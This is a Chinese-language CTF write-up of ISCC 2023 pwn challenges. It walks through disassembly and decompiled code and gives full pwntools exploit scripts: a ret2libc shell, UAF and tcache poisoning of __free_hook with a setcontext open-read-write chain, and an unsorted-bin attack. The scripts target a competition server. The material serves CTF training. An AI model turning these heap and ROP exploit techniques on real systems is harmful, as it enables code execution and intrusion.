libc = ELF('/home/kali/glibc/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#gdb.attach(p, 'b*0x400925\nc')pop_rdi = 0x0000000000400bd3 # pop rdi ; retp.sendafter(b"Start injecting\n", b'\x00'*0x18)
p.recvline()
aaa = int(p.recvuntil(b'd', drop=True))
print(f"{aaa = :x}")p.sendline(str(0xffffff51).encode())  #top_chunk#0x6012b0 - aaa
p.sendline(str((0x6012b0-0x20-aaa)&0xffffffff).encode())
p.sendafter(b"Answer time is close to over\n", b'a'*0x10)p.sendafter("Direct to destination", b'\x00'*0x80 + flat(0x601a00,pop_rdi, elf.got['puts'],elf.plt['puts'], 0x4008a7))
libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']p.sendafter("Direct to destination", b'\x00'*0x80 + flat(0x601a00,pop_rdi, next(libc.search(b'/bin/sh\x00')),libc.sym['system'], 0x4008a7))p.sendline(b'cat flag*')
p.interactive()#ISCC{U2FsdGVkX19Io8JTHM+Mj6kUIhroT9rT+ulCmVCGfKASDrdaVF3VTZCyaAAigumO4fSbo0Jhv+Ike83kf1PGmw==}

这题一开始给了这个巨长加密的flag,一直没人猜对,rabbit加密不给密钥的话真没着。后来赛放换了flag,但一直没找着这里跟第三有啥关系。

第三裹束(未完成)

这是个盲pwn题,没有提示还报错,通过提示得到第一个提示在第一用笔目录下,得到部分汇编代码.里边有句话可能 是第二个:函数名,不过这后门比比赛关得还早,也没法试了.函数名没几个.

得到的部分

After the previous study, have you found the treasure in the book?
If you tell me Treasure 1, I will give you some clues. If you tell me Treasure 2, I will give you a chance of ultimate challenge.
So what do you want to say to me now:
[Enter no more than 12 characters]
anyagougedi
*********************************char *stroke[4],length[4],thickness[4];
int cnt_1 = 0,cnt_2 = 0,cnt_3 = 0;int how_to_do()
0x0000000000400886 <+0>:        push   rbp
0x0000000000400887 <+1>:        mov    rbp,rsp
0x000000000040088a <+4>:        sub    rsp,0x20
0x000000000040088e <+8>:        mov    rax,QWORD PTR fs:0x28
0x0000000000400897 <+17>:       mov    QWORD PTR [rbp-0x8],rax
0x000000000040089b <+21>:       xor    eax,eax
0x000000000040089d <+23>:       lea    rax,[rbp-0x20]
0x00000000004008a1 <+27>:       mov    edx,0xf
0x00000000004008a6 <+32>:       mov    rsi,rax
0x00000000004008a9 <+35>:       mov    edi,0x0
0x00000000004008ae <+40>:       call   0x400710 <read@plt>
0x00000000004008b3 <+45>:       lea    rax,[rbp-0x20]
0x00000000004008b7 <+49>:       mov    rdi,rax
0x00000000004008ba <+52>:       call   0x400760 <atoi@plt>
0x00000000004008bf <+57>:       mov    rcx,QWORD PTR [rbp-0x8]
0x00000000004008c3 <+61>:       xor    rcx,QWORD PTR fs:0x28
0x00000000004008cc <+70>:       je     0x4008d3 <how_to_do+77>
0x00000000004008ce <+72>:       call   0x4006e0 <__stack_chk_fail@plt>
0x00000000004008d3 <+77>:       leave
0x00000000004008d4 <+78>:       retssize_t get_content(void *a1, unsigned int a2)
0x00000000004008d5 <+0>:        push   rbp
0x00000000004008d6 <+1>:        mov    rbp,rsp
0x00000000004008d9 <+4>:        sub    rsp,0x20
0x00000000004008dd <+8>:        mov    QWORD PTR [rbp-0x18],rdi
0x00000000004008e1 <+12>:       mov    DWORD PTR [rbp-0x1c],esi
0x00000000004008e4 <+15>:       mov    edx,DWORD PTR [rbp-0x1c]
0x00000000004008e7 <+18>:       mov    rax,QWORD PTR [rbp-0x18]
0x00000000004008eb <+22>:       mov    rsi,rax
0x00000000004008ee <+25>:       mov    edi,0x0
0x00000000004008f3 <+30>:       call   0x400710 <read@plt>
0x00000000004008f8 <+35>:       mov    QWORD PTR [rbp-0x8],rax
0x00000000004008fc <+39>:       mov    rax,QWORD PTR [rbp-0x8]
0x0000000000400900 <+43>:       test   eax,eax
0x0000000000400902 <+45>:       jg     0x400918 <get_content+67>
0x0000000000400904 <+47>:       mov    edi,0x4011d8
0x0000000000400909 <+52>:       call   0x4006d0 <puts@plt>
0x000000000040090e <+57>:       mov    edi,0x1
0x0000000000400913 <+62>:       call   0x400770 <exit@plt>
0x0000000000400918 <+67>:       mov    rax,QWORD PTR [rbp-0x8]
0x000000000040091c <+71>:       leave
0x000000000040091d <+72>:       retvoid get_addr()
You can find the address you are interested in from this. If it is not necessary, we will not provide it. The content of the request should be a function name string, which should not exceed 15 characters!int Shaping()
0x0000000000400a6e <+0>:        push   rbp
0x0000000000400a6f <+1>:        mov    rbp,rsp
0x0000000000400a72 <+4>:        sub    rsp,0x10
0x0000000000400a76 <+8>:        mov    eax,0x0
0x0000000000400a7b <+13>:       call   0x400886 <how_to_do>
0x0000000000400a80 <+18>:       mov    DWORD PTR [rbp-0x4],eax
0x0000000000400a83 <+21>:       mov    eax,DWORD PTR [rbp-0x4]
0x0000000000400a86 <+24>:       cdqe
0x0000000000400a88 <+26>:       mov    rax,QWORD PTR [rax*8+0x603100]
0x0000000000400a90 <+34>:       test   rax,rax
0x0000000000400a93 <+37>:       jne    0x400aa1 <Shaping+51>
0x0000000000400a95 <+39>:       mov    edi,0x401324
0x0000000000400a9a <+44>:       call   0x4006d0 <puts@plt>
0x0000000000400a9f <+49>:       jmp    0x400ae4 <Shaping+118>
0x0000000000400aa1 <+51>:       mov    eax,DWORD PTR [rbp-0x4]
0x0000000000400aa4 <+54>:       cdqe
0x0000000000400aa6 <+56>:       mov    rax,QWORD PTR [rax*8+0x6030c0]
0x0000000000400aae <+64>:       mov    rsi,rax
0x0000000000400ab1 <+67>:       mov    edi,0x401339
0x0000000000400ab6 <+72>:       mov    eax,0x0
0x0000000000400abb <+77>:       call   0x4006f0 <printf@plt>
0x0000000000400ac0 <+82>:       mov    eax,DWORD PTR [rbp-0x4]
0x0000000000400ac3 <+85>:       cdqe
0x0000000000400ac5 <+87>:       mov    rax,QWORD PTR [rax*8+0x6030e0]
0x0000000000400acd <+95>:       mov    rsi,rax
0x0000000000400ad0 <+98>:       mov    edi,0x40134e
0x0000000000400ad5 <+103>:      mov    eax,0x0
0x0000000000400ada <+108>:      call   0x4006f0 <printf@plt>
0x0000000000400adf <+113>:      mov    eax,0x0
0x0000000000400ae4 <+118>:      leave
0x0000000000400ae5 <+119>:      retint repair()
0x0000000000400ae6 <+0>:        push   rbp
0x0000000000400ae7 <+1>:        mov    rbp,rsp
0x0000000000400aea <+4>:        push   rbx
0x0000000000400aeb <+5>:        sub    rsp,0x18
0x0000000000400aef <+9>:        mov    eax,0x0
0x0000000000400af4 <+14>:       call   0x400886 <how_to_do>
0x0000000000400af9 <+19>:       mov    DWORD PTR [rbp-0x14],eax
0x0000000000400afc <+22>:       mov    eax,DWORD PTR [rip+0x2025ae]        # 0x6030b0 <cnt_2>
0x0000000000400b02 <+28>:       cmp    eax,0x2
0x0000000000400b05 <+31>:       jle    0x400b16 <repair+48>
0x0000000000400b07 <+33>:       mov    edi,0x401364
0x0000000000400b0c <+38>:       call   0x4006d0 <puts@plt>
0x0000000000400b11 <+43>:       jmp    0x400bcd <repair+231>
0x0000000000400b16 <+48>:       mov    eax,DWORD PTR [rbp-0x14]
0x0000000000400b19 <+51>:       cdqe
0x0000000000400b1b <+53>:       mov    rax,QWORD PTR [rax*8+0x603100]
0x0000000000400b23 <+61>:       test   rax,rax
0x0000000000400b26 <+64>:       jne    0x400b37 <repair+81>
0x0000000000400b28 <+66>:       mov    edi,0x401379
0x0000000000400b2d <+71>:       call   0x4006d0 <puts@plt>
0x0000000000400b32 <+76>:       jmp    0x400bcd <repair+231>
0x0000000000400b37 <+81>:       mov    edi,0x401390
0x0000000000400b3c <+86>:       mov    eax,0x0
0x0000000000400b41 <+91>:       call   0x4006f0 <printf@plt>
0x0000000000400b46 <+96>:       mov    eax,0x0
0x0000000000400b4b <+101>:      call   0x400886 <how_to_do>
0x0000000000400b50 <+106>:      mov    DWORD PTR [rbp-0x18],eax
0x0000000000400b53 <+109>:      cmp    DWORD PTR [rbp-0x18],0x1000
0x0000000000400b5a <+116>:      jbe    0x400b63 <repair+125>
0x0000000000400b5c <+118>:      mov    DWORD PTR [rbp-0x18],0x1000
0x0000000000400b63 <+125>:      mov    edi,0x4013af
0x0000000000400b68 <+130>:      mov    eax,0x0
0x0000000000400b6d <+135>:      call   0x4006f0 <printf@plt>
0x0000000000400b72 <+140>:      mov    eax,DWORD PTR [rbp-0x14]
0x0000000000400b75 <+143>:      cdqe
0x0000000000400b77 <+145>:      mov    rax,QWORD PTR [rax*8+0x6030c0]
0x0000000000400b7f <+153>:      mov    edx,DWORD PTR [rbp-0x18]
0x0000000000400b82 <+156>:      mov    esi,edx
0x0000000000400b84 <+158>:      mov    rdi,rax
0x0000000000400b87 <+161>:      call   0x4008d5 <get_content>
0x0000000000400b8c <+166>:      mov    edi,0x4013be
0x0000000000400b91 <+171>:      mov    eax,0x0
0x0000000000400b96 <+176>:      call   0x4006f0 <printf@plt>
0x0000000000400b9b <+181>:      mov    eax,DWORD PTR [rbp-0x14]
0x0000000000400b9e <+184>:      cdqe
0x0000000000400ba0 <+186>:      mov    rbx,QWORD PTR [rax*8+0x6030e0]
0x0000000000400ba8 <+194>:      mov    eax,0x0
0x0000000000400bad <+199>:      call   0x400886 <how_to_do>
0x0000000000400bb2 <+204>:      mov    BYTE PTR [rbx],al
0x0000000000400bb4 <+206>:      mov    eax,DWORD PTR [rip+0x2024f6]        # 0x6030b0 <cnt_2>
0x0000000000400bba <+212>:      add    eax,0x1
0x0000000000400bbd <+215>:      mov    DWORD PTR [rip+0x2024ed],eax        # 0x6030b0 <cnt_2>
0x0000000000400bc3 <+221>:      mov    edi,0x4013ce
0x0000000000400bc8 <+226>:      call   0x4006d0 <puts@plt>
0x0000000000400bcd <+231>:      add    rsp,0x18
0x0000000000400bd1 <+235>:      pop    rbx
0x0000000000400bd2 <+236>:      pop    rbp
0x0000000000400bd3 <+237>:      retint structure()
0x0000000000400bd4 <+0>:        push   rbp
0x0000000000400bd5 <+1>:        mov    rbp,rsp
0x0000000000400bd8 <+4>:        push   rbx
0x0000000000400bd9 <+5>:        sub    rsp,0x18
0x0000000000400bdd <+9>:        mov    eax,DWORD PTR [rip+0x2024c9]        # 0x6030ac <cnt_1>
0x0000000000400be3 <+15>:       mov    esi,eax
0x0000000000400be5 <+17>:       mov    edi,0x4013f0
0x0000000000400bea <+22>:       mov    eax,0x0
0x0000000000400bef <+27>:       call   0x4006f0 <printf@plt>               #printf("%d", cnt_1)
0x0000000000400bf4 <+32>:       mov    eax,DWORD PTR [rip+0x2024b2]        # 0x6030ac <cnt_1>
0x0000000000400bfa <+38>:       cmp    eax,0x3
0x0000000000400bfd <+41>:       jle    0x400c13 <structure+63>             #if(cnt_1>3)exit();
0x0000000000400bff <+43>:       mov    edi,0x401410
0x0000000000400c04 <+48>:       call   0x4006d0 <puts@plt>
0x0000000000400c09 <+53>:       mov    edi,0x1
0x0000000000400c0e <+58>:       call   0x400770 <exit@plt>
0x0000000000400c13 <+63>:       mov    ebx,DWORD PTR [rip+0x202493]        # 0x6030ac <cnt_1>
0x0000000000400c19 <+69>:       mov    edi,0x10
0x0000000000400c1e <+74>:       call   0x400740 <malloc@plt>
0x0000000000400c23 <+79>:       mov    rdx,rax
0x0000000000400c26 <+82>:       movsxd rax,ebx
0x0000000000400c29 <+85>:       mov    QWORD PTR [rax*8+0x603100],rdx      #m_ptr[cnt_1] = malloc(0x10)
0x0000000000400c31 <+93>:       mov    eax,DWORD PTR [rip+0x202475]        # 0x6030ac <cnt_1>
0x0000000000400c37 <+99>:       cdqe
0x0000000000400c39 <+101>:      mov    rax,QWORD PTR [rax*8+0x603100]
0x0000000000400c41 <+109>:      mov    QWORD PTR [rbp-0x18],rax
0x0000000000400c45 <+113>:      mov    edi,0x401448
0x0000000000400c4a <+118>:      mov    eax,0x0
0x0000000000400c4f <+123>:      call   0x4006f0 <printf@plt>               #printf("%p", m_ptr[cnt_1])
0x0000000000400c54 <+128>:      mov    eax,0x0
0x0000000000400c59 <+133>:      call   0x400886 <how_to_do>                #size = read_n()
0x0000000000400c5e <+138>:      mov    DWORD PTR [rbp-0x1c],eax
0x0000000000400c61 <+141>:      cmp    DWORD PTR [rbp-0x1c],0x1000
0x0000000000400c68 <+148>:      jbe    0x400c71 <structure+157>
0x0000000000400c6a <+150>:      mov    DWORD PTR [rbp-0x1c],0x1000         #size = (size<0x1000)?0x1000:size
0x0000000000400c71 <+157>:      mov    ebx,DWORD PTR [rip+0x202435]        # 0x6030ac <cnt_1>
0x0000000000400c77 <+163>:      mov    eax,DWORD PTR [rbp-0x1c]
0x0000000000400c7a <+166>:      mov    rdi,rax
0x0000000000400c7d <+169>:      call   0x400740 <malloc@plt>
0x0000000000400c82 <+174>:      mov    rdx,rax
0x0000000000400c85 <+177>:      movsxd rax,ebx
0x0000000000400c88 <+180>:      mov    QWORD PTR [rax*8+0x6030c0],rdx      #ptr[cnt_1] = malloc(size)
0x0000000000400c90 <+188>:      mov    eax,DWORD PTR [rip+0x202416]        # 0x6030ac <cnt_1>
0x0000000000400c96 <+194>:      cdqe
0x0000000000400c98 <+196>:      mov    rax,QWORD PTR [rax*8+0x6030c0]
0x0000000000400ca0 <+204>:      test   rax,rax
0x0000000000400ca3 <+207>:      jne    0x400cb9 <structure+229>            #if(ptr[cnt_1]==0)exit();
0x0000000000400ca5 <+209>:      mov    edi,0x401468
0x0000000000400caa <+214>:      call   0x4006d0 <puts@plt>
0x0000000000400caf <+219>:      mov    edi,0x1
0x0000000000400cb4 <+224>:      call   0x400770 <exit@plt>
0x0000000000400cb9 <+229>:      mov    edi,0x40147f
0x0000000000400cbe <+234>:      mov    eax,0x0
0x0000000000400cc3 <+239>:      call   0x4006f0 <printf@plt>               #printf("%p", ptr[cnt_1])
0x0000000000400cc8 <+244>:      mov    eax,DWORD PTR [rip+0x2023de]        # 0x6030ac <cnt_1>
0x0000000000400cce <+250>:      cdqe
0x0000000000400cd0 <+252>:      mov    rax,QWORD PTR [rax*8+0x6030c0]
0x0000000000400cd8 <+260>:      mov    edx,DWORD PTR [rbp-0x1c]
0x0000000000400cdb <+263>:      mov    esi,edx
0x0000000000400cdd <+265>:      mov    rdi,rax
0x0000000000400ce0 <+268>:      call   0x4008d5 <get_content>              #get_content(ptr[cnt_1], size)
0x0000000000400ce5 <+273>:      mov    ebx,DWORD PTR [rip+0x2023c1]        # 0x6030ac <cnt_1>
0x0000000000400ceb <+279>:      mov    esi,0x8
0x0000000000400cf0 <+284>:      mov    edi,0x1
0x0000000000400cf5 <+289>:      call   0x400730 <calloc@plt>
0x0000000000400cfa <+294>:      mov    rdx,rax
0x0000000000400cfd <+297>:      movsxd rax,ebx
0x0000000000400d00 <+300>:      mov    QWORD PTR [rax*8+0x6030e0],rdx      #c_ptr[cnt_1] = calloc(1,8)
0x0000000000400d08 <+308>:      mov    edi,0x4014a0
0x0000000000400d0d <+313>:      mov    eax,0x0
0x0000000000400d12 <+318>:      call   0x4006f0 <printf@plt>
0x0000000000400d17 <+323>:      mov    eax,DWORD PTR [rip+0x20238f]        # 0x6030ac <cnt_1>
0x0000000000400d1d <+329>:      cdqe
0x0000000000400d1f <+331>:      mov    rbx,QWORD PTR [rax*8+0x6030e0]
0x0000000000400d27 <+339>:      mov    eax,0x0
0x0000000000400d2c <+344>:      call   0x400886 <how_to_do>
0x0000000000400d31 <+349>:      mov    BYTE PTR [rbx],al
0x0000000000400d33 <+351>:      mov    eax,DWORD PTR [rip+0x202373]        # 0x6030ac <cnt_1>
0x0000000000400d39 <+357>:      cdqe
0x0000000000400d3b <+359>:      mov    rax,QWORD PTR [rax*8+0x6030e0]
0x0000000000400d43 <+367>:      mov    rdx,rax
0x0000000000400d46 <+370>:      mov    rax,QWORD PTR [rbp-0x18]
0x0000000000400d4a <+374>:      mov    QWORD PTR [rax],rdx
0x0000000000400d4d <+377>:      mov    rax,QWORD PTR [rbp-0x18]
0x0000000000400d51 <+381>:      lea    rdx,[rax+0x8]
0x0000000000400d55 <+385>:      mov    eax,DWORD PTR [rip+0x202351]        # 0x6030ac <cnt_1>
0x0000000000400d5b <+391>:      cdqe
0x0000000000400d5d <+393>:      mov    rax,QWORD PTR [rax*8+0x6030c0]
0x0000000000400d65 <+401>:      mov    QWORD PTR [rdx],rax
0x0000000000400d68 <+404>:      mov    QWORD PTR [rbp-0x18],0x0
0x0000000000400d70 <+412>:      mov    eax,DWORD PTR [rip+0x202336]        # 0x6030ac <cnt_1>
0x0000000000400d76 <+418>:      add    eax,0x1
0x0000000000400d79 <+421>:      mov    DWORD PTR [rip+0x20232d],eax        # 0x6030ac <cnt_1>
0x0000000000400d7f <+427>:      mov    edi,0x4014bf
0x0000000000400d84 <+432>:      call   0x4006d0 <puts@plt>
0x0000000000400d89 <+437>:      add    rsp,0x18
0x0000000000400d8d <+441>:      pop    rbx
0x0000000000400d8e <+442>:      pop    rbp
0x0000000000400d8f <+443>:      retvoid main(int a1, char **a2, char **a3)
0x0000000000401099 <+0>:        push   rbp
0x000000000040109a <+1>:        mov    rbp,rsp
0x000000000040109d <+4>:        sub    rsp,0x30
0x00000000004010a1 <+8>:        mov    DWORD PTR [rbp-0x14],edi
0x00000000004010a4 <+11>:       mov    QWORD PTR [rbp-0x20],rsi
0x00000000004010a8 <+15>:       mov    QWORD PTR [rbp-0x28],rdx
0x00000000004010ac <+19>:       mov    eax,0x0
0x00000000004010b1 <+24>:       call   0x400d90 <init>
0x00000000004010b6 <+29>:       mov    eax,0x0
0x00000000004010bb <+34>:       call   0x400ef7 <login>
0x00000000004010c0 <+39>:       jmp    0x40111e <main+133>
0x00000000004010c2 <+41>:       cmp    DWORD PTR [rbp-0x4],0x1
0x00000000004010c6 <+45>:       jne    0x4010d4 <main+59>
0x00000000004010c8 <+47>:       mov    eax,0x0
0x00000000004010cd <+52>:       call   0x400bd4 <structure>
0x00000000004010d2 <+57>:       jmp    0x40111e <main+133>
0x00000000004010d4 <+59>:       cmp    DWORD PTR [rbp-0x4],0x2
0x00000000004010d8 <+63>:       jne    0x4010e6 <main+77>
0x00000000004010da <+65>:       mov    eax,0x0
0x00000000004010df <+70>:       call   0x400a6e <Shaping>
0x00000000004010e4 <+75>:       jmp    0x40111e <main+133>
0x00000000004010e6 <+77>:       cmp    DWORD PTR [rbp-0x4],0x3
0x00000000004010ea <+81>:       jne    0x4010f8 <main+95>
0x00000000004010ec <+83>:       mov    eax,0x0
0x00000000004010f1 <+88>:       call   0x400ae6 <repair>
0x00000000004010f6 <+93>:       jmp    0x40111e <main+133>
0x00000000004010f8 <+95>:       cmp    DWORD PTR [rbp-0x4],0xf
0x00000000004010fc <+99>:       jne    0x40110a <main+113>
0x00000000004010fe <+101>:      mov    eax,0x0
0x0000000000401103 <+106>:      call   0x40091e <get_addr>
0x0000000000401108 <+111>:      jmp    0x40111e <main+133>
0x000000000040110a <+113>:      mov    edi,0x402575
0x000000000040110f <+118>:      call   0x4006d0 <puts@plt>
0x0000000000401114 <+123>:      mov    edi,0x402588
0x0000000000401119 <+128>:      call   0x4006d0 <puts@plt>
0x000000000040111e <+133>:      mov    eax,0x0
0x0000000000401123 <+138>:      call   0x400dff <action>
0x0000000000401128 <+143>:      mov    DWORD PTR [rbp-0x4],eax
0x000000000040112b <+146>:      cmp    DWORD PTR [rbp-0x4],0x4
0x000000000040112f <+150>:      jne    0x4010c2 <main+41>
0x0000000000401131 <+152>:      mov    edi,0x4025a9
0x0000000000401136 <+157>:      call   0x4006d0 <puts@plt>
0x000000000040113b <+162>:      mov    edi,0x0
0x0000000000401140 <+167>:      call   0x400770 <exit@plt>PS: from largebin to the libc we have walked 3953032We hope you can finally see the file directory structure successfullyNow that you have found Treasure 1, Treasure 2 will not defeat you!
Please tell me againTreasure 2 is wrong! Keep looking for the treasure

擂台题

babyheap

libc-2.31 ORW题也是板子题

有个UAF后门2023,

__int64 __fastcall main(const char *a1, char **a2, char **a3)
{__int64 result; // raxinit_0();while ( 1 ){while ( 1 ){menu(a1, a2);a1 = "plz input choice: ";printf("plz input choice: ");result = read_n();if ( (_DWORD)result != 2023 )break;if ( !dword_4010 )                        // 2023exit(0);m2023_free_UAF();--dword_4010;}if ( (unsigned int)result > 0x7E7 )break;if ( (_DWORD)result == 3 ){m3free();}else{if ( (unsigned int)result > 3 )return result;if ( (_DWORD)result == 1 ){m1add();                                // 固定0x40}else{if ( (_DWORD)result != 2 )return result;m2show();}}}return result;
}

利用这个UAF造重叠块,最后一点点把payload写到free_hook,有块大小限制很麻烦.

from pwn import *context(arch='amd64', log_level='error')#p = process('./pwn')
p = remote('59.110.164.72', 10030)
libc = ELF('./libc.so.6')menu = b"plz input choice: "
def add(msg):p.sendlineafter(menu, b'1')p.sendafter(b"plz input content: ", msg)def show(idx):p.sendlineafter(menu, b'2')p.sendlineafter(b"plz input idx: ", str(idx).encode())def free(idx):p.sendlineafter(menu, b'3')p.sendlineafter(b"plz input idx: ", str(idx).encode())def free2(idx):  # UAFp.sendlineafter(menu, b'2023')p.sendlineafter(b"plz input idx: ", str(idx).encode())for i in range(0x10):add(b'A')for i in [6,7,8,9,10,11,12,13,14,15]:free(i)free(5)
free2(0)
show(0)
heap = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x190
print(f"{heap = :x}")free(4)
free(0)for i in [6,7,8,9,10,11,12]:add(b'B')
add(p64(heap+0x50)+ p64(0)*6 + p64(0x51))
add(b'C')
add(b'C')
add(flat(0x101, 0x461))free(1)
add(b'AAA')
show(2)
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x70 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")free_hook   = libc.sym['__free_hook']
_environ    = libc.sym['_environ']
setcontext  = libc.sym['setcontext']
syscall     = next(libc.search(asm("syscall; ret")))pop_rdi     = next(libc.search(asm("pop rdi; ret")))
pop_rsi     = next(libc.search(asm("pop rsi; ret")))
pop_rdx_r12 = next(libc.search(asm("pop rdx; pop r12; ret")))
pop_rax     = next(libc.search(asm("pop rax; ret")))
jmp_rsp     = next(libc.search(asm("jmp rsp")))#gadget
gadget_addr= libc.address + 0x0000000000151990'''
.text:0000000000151990 48 8B 57 08                   mov     rdx, [rdi+8]
.text:0000000000151994 48 89 04 24                   mov     [rsp+0C8h+var_C8], rax
.text:0000000000151998 FF 52 20                      call    qword ptr [rdx+20h]
'''
#orw
fake_frame_addr = free_hook + 0x10
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = fake_frame_addr + 0xF8
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = pop_rdi + 1  # : retrop_data = [libc.sym['open'],pop_rdx_r12,0x100,0,pop_rdi,3,pop_rsi,fake_frame_addr + 0x200,libc.sym['read'],pop_rdi,fake_frame_addr + 0x200,libc.sym['puts']]frame_data = flat(frame).ljust(0xf8, b'\x00')
payload = flat(gadget_addr,fake_frame_addr,frame_data[:0x20],setcontext+61,frame_data[0x28:],b'/flag'.ljust(8, b'\x00'),0)+flat(rop_data)print('len(payload)', hex(len(payload[0xf8:])))
#save payload to __free_hook
offset  = 0
offset += 0x40
free(7)
free(1)
free(13)
add(flat(0,0x51, free_hook + offset, heap-0xa50))
add(b'A')
add(payload[offset: offset+0x40])offset += 0x40
free(12)
free(7)
free(1)
add(flat(0,0x51, free_hook + offset, heap-0xa50))
add(b'A')
add(payload[offset: offset+0x40])offset += 0x40
free(11)
free(7)
free(1)
add(flat(0,0x51, free_hook + offset, heap-0xa50))
add(b'A')
add(payload[offset: offset+0x40])offset += 0x40
free(10)
free(7)
free(1)
add(flat(0,0x51, free_hook + offset, heap-0xa50))
add(b'A')
add(payload[offset: offset+0x40])offset += 0x40
free(9)
free(7)
free(1)
add(flat(0,0x51, free_hook + offset, heap-0xa50))
add(b'A')
add(payload[offset: offset+0x40])offset += 0x40
free(8)
free(7)
free(1)
add(flat(0,0x51, free_hook , heap-0xa50))
add(b'A')
add(payload[0: 0x40])  free(8)
context.log_level = 'debug'p.recvline()
p.recvline()
p.recvline()
p.interactive()
#gdb.attach(p)
#pause()

ezuheap

给了gift异或得到加载地址,然后show指针前溢出得到stdout的地址

unsigned __int64 show()
{int v1; // [rsp+4h] [rbp-Ch] BYREFunsigned __int64 v2; // [rsp+8h] [rbp-8h]v2 = __readfsqword(0x28u);printf("Index:");__isoc99_scanf("%d", &v1);if ( v1 > 5 || !Nodes[v1] ){puts("Incorrect subscript :(");_exit(0);}write(1, (const void *)Nodes[v1], (int)Nodes_len[v1]);return __readfsqword(0x28u) ^ v2;
}

然后就写free_hook

from pwn import *#p = process('./uheap')
p = remote('59.110.164.72',10029)
context(arch='amd64', log_level='debug')libc = ELF('./libc-2.27.so')
elf = ELF('./uheap')menu = b"choice:"
def add(idx, size):p.sendlineafter(menu, b'1')p.sendlineafter(b"Index:", str(idx).encode())p.sendlineafter(b"len:", str(size).encode())def free(idx):p.sendlineafter(menu, b'2')p.sendlineafter(b"Index:", str(idx).encode())def edit(idx,msg):p.sendlineafter(menu, b'3')p.sendlineafter(b"Index:", str(idx).encode())p.send(msg)def show(idx):p.sendlineafter(menu, b'4')p.sendlineafter(b"Index:", str(idx).encode())p.sendafter(b"Input your favorite sentence:", b'A'*0x30)
p.sendlineafter(b"Input your cookie:", str(0x15C6156C).encode())p.recvuntil(b"gift: ")
gift1 = int(p.recvline(),16)p.recvuntil(b"gift: ")
gift2 = int(p.recvline(),16)
elf.address = (gift1^gift2) - 0x202090
print(f"{gift2 = :x},{elf.address = :x}")#gdb.attach(p,'b*0x0000555555400e37\nc')add(2, 0x80)
show(-11)
libc.address = u64(p.recv(32)[-8:]) - libc.sym['_IO_2_1_stdout_']
print(f"{libc.address = :x}")free(2)
edit(2, p64(libc.sym['__free_hook']))
add(1, 0x80)#chk
edit(-11, flat(elf.address+0x202090))
edit(-11, p64((libc.sym['__free_hook']&0xFFFFFFFFFFFFF000 )+0x250))#gdb.attach(p)
#pause()add(3, 0x80)
edit(1, b'/bin/sh\x00')
edit(3, p64(libc.sym['system']))free(1)
p.interactive()

uheap

有UAF没有show有后门,后门只检查头为7f

int __cdecl main(int argc, const char **argv, const char **envp)
{char buf[256]; // [rsp+0h] [rbp-120h] BYREFint idx_1; // [rsp+100h] [rbp-20h]int idx_0; // [rsp+104h] [rbp-1Ch]void *ptr; // [rsp+108h] [rbp-18h]int size; // [rsp+114h] [rbp-Ch]int idx; // [rsp+118h] [rbp-8h]int choice; // [rsp+11Ch] [rbp-4h]setbuf(stdin, 0LL);setbuf(_bss_start, 0LL);setbuf(stderr, 0LL);while ( 1 ){choice = menu();if ( choice == 5 )break;switch ( choice ){case 1:idx = get_idx();size = get_size();ptr = malloc(size);if ( !ptr )die("malloc error");ptrs[idx] = ptr;break;case 2:idx_0 = get_idx();free(ptrs[idx_0]);break;case 3:puts("unimplemented yet");break;case 4:puts("unimplemented yet");idx_1 = get_idx();printf("input content plz : ");if ( read(0, ptrs[idx_1], 0x10uLL) < 0 )die("read error");break;default:puts("wrong choice");break;}}if ( magics[255] > 0x7F0000000000LL ){puts("input your key");read(0, buf, 0x100uLL);check_key(buf);}return 0;
}

unsortbin attack是个很古老的东西了,也很少用,在bk指针处写 个地址,然后再用unsort时会在那个地址上写个堆地址.这样就达到后门条件了

from pwn import *context(arch='amd64', log_level='debug')#p = process('./heap')
p = remote('59.110.164.72', 10022)menu = b' : '
def add(idx, size):p.sendlineafter(menu, b'1')p.sendlineafter(menu, str(idx).encode())p.sendlineafter(menu, str(size).encode())def free(idx):p.sendlineafter(menu, b'2')p.sendlineafter(menu, str(idx).encode())def edit(idx, msg):p.sendlineafter(menu, b'4')p.sendlineafter(menu, str(idx).encode())p.sendafter(menu, msg)add(0,0x88)
add(1,0x88)
free(0)
edit(0, flat(0, 0x6021c0+255*8 - 0x10))
add(2, 0x88)p.sendlineafter(menu, b'5')
#gdb.attach(p, 'b*0x4009da\nc')p.sendafter(b'key', p64(0x4009aa)*8)
p.interactive()

好多巨古老的东西,刚练习的时候用的libc-2.23,2.27,还有不少32位的情况,早都忘了。居然还有个libc-2.27-i386 从没见过。那时候还有32位的系统吗?

[ISCC 2023] pwn部分相关推荐

  1. ISCC部分pwn题解

    前言 菜的扣脚的pwn手,整了四个题,实在是菜,感觉在学校没法把心静下来写blog...寒假完美完成了假期前的flag.但是到现在开学立的flag一个都没完成....... 先把exp和分析过程贴上, ...

  2. ISCC 2018 PWN WriteUp

    1.Login [分值:200]--年轻人的第一道PWN 漏洞位置: 漏洞见上图,BUF大小0x40 读取时读了0x280字节,这样可覆盖掉Menu函数的返回值. 此函数中存在一个可能执行system ...

  3. ISCC 2022 wp

    目录 解题步骤及过程: 练武题WP: Web: 冬奥会: 爱国敬业好青年-2: Pop2022: 这是一道代码审计题: Easy-SQL: Findme: 让我康康!: misc: 2022冬奥会: ...

  4. ISCC2022wp

    练武题 MISC 2022冬奥会 图片改一下高度,得到一串Unicode字符,解码得到,百度得到冰墩墩的小伙伴雪雪容融的原型为灯笼 密码为:灯笼,解压txt打开得到flag:ISCC{beij-dah ...

  5. CCF推荐国际学术会议

    类别如下计算机系统与高性能计算,计算机网络,网络与信息安全,软件工程,系统软件与程序设计语言,数据库.数据挖掘与内容检索,计算机科学理论,计算机图形学与多媒体,人工智能与模式识别,人机交互与普适计算, ...

  6. Pwn2Own 2023迈阿密大赛Master of Pwn诞生

     聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 为期三天的2023迈阿密 Pwn2Own 大赛落下帷幕,Claroty 参赛团队以十次尝试十次成功,共获得9.85万美元的奖励,外加2.5万美元 ...

  7. [HSCSEC 2023] rev,pwn,crypto,Ancient-MISC部分

